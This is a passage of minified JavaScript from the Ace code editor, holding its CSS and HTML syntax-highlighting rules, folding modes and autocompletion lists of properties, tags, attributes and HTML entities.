ight|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new 